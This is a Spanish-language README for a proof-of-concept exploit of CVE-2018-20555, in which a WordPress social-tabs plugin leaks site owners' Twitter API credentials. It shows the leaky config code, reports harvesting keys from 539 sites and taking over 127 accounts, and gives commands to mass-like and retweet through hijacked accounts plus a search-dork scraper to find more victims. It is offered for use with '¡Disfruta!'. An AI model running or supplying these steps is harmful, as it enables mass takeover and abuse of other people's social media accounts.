
Exploit para CVE-2018-20555: descubrimiento automatizado y toma de control de cuentas de Twitter mediante claves de API filtradas en el plugin vulnerable Social Network Tabs de WordPress, con capacidades de scraping y explotación masiva.
El plugin de WordPress llamado Social Network Tabs, creado por la empresa Design Chemical, está filtrando dos veces el access_token, access_token_secret, consumer_key y consumer_secret de Twitter de sus usuarios, lo que conduce a una toma de control de su cuenta de Twitter.
Esto es causado por las siguientes líneas de código dentro de la página donde se muestra el widget de Twitter:
jQuery(document).ready(function ($) {
var config = {
widgets: "twitter,facebook,youtube",
twitterId: "[redacted]",
facebookId: "[redacted]",
youtubeId: "[redacted]",
twitter: {
url: "https://www.rainx.com/wp-content/plugins/social-network-tabs/inc/dcwp_twitter.php?1=%5Breadcted%5D&2=%5Bredacted%5D&3=%5Bredacted%5D&4=%5Bredacted%5D …",
title: "Latest Tweets",
follow: "Follow",
followId: "",
limit: "10",
retweets: true,
replies: true,
images: "thumb",
consumer_key: "[redacted]",
consumer_secret: "[redacted]",
access_token: "[redacted]",
access_token_secret: "[redacted]"
},
}
});
Gracias a Publicwww, con las siguientes consultas de búsqueda, logré recuperar el access_token, access_token_secret, consumer_key y consumer_secret de Twitter de 539 sitios web vulnerables:
Todas las claves están disponibles en twitter_keys.csv.
Probar las claves de la API de Twitter en twitter_keys.csv
python test_twitter_api_keys.py -t
La primera vez que ejecuté este comando, obtuve la información de 446 cuentas de Twitter. Vale la pena mencionar que había 2 cuentas verificadas en la lista y múltiples cuentas con más de 10K+ seguidores. Todas las cuentas vulnerables están en vulnerable_accounts.txt.
Dar like al tweet de tu elección
python test_twitter_api_keys.py -l [tweet_id]
Retuitear el tweet de tu elección
python test_twitter_api_keys.py -r [tweet_id]
La primera vez que ejecuté este comando, logré dar like al tweet de mi elección 127 veces, lo que demostró que 127 claves de la API de Twitter tenían permisos de lectura y escritura, es decir, pude tomar el control de 127 cuentas de Twitter (cambiar foto de perfil, dar like, retuitear, cambiar biografía, etc.) debido a esta filtración de claves.
Muchos sitios web y, por lo tanto, cuentas de Twitter todavía son vulnerables a este problema. Para identificarlos, creé un scraper
cd TwitterApiKeysSearchEngine/
scrapy crawl TwitterApiKeysSpider -a keyword="inurl:/inc/dcwp_twitter.php?1=" -a se=google -a pages=10
El total de resultados para esta consulta de búsqueda en Google es 3550. Entre las primeras 9 páginas, logré recuperar 78 claves (86%). ¡Disfruta!
¡Sígueme en Twitter! También puedes encontrar una pequeña parte de mi trabajo en https://fs0c131y.com
La investigación y el POC se realizaron con ❤️ por @fs0c131y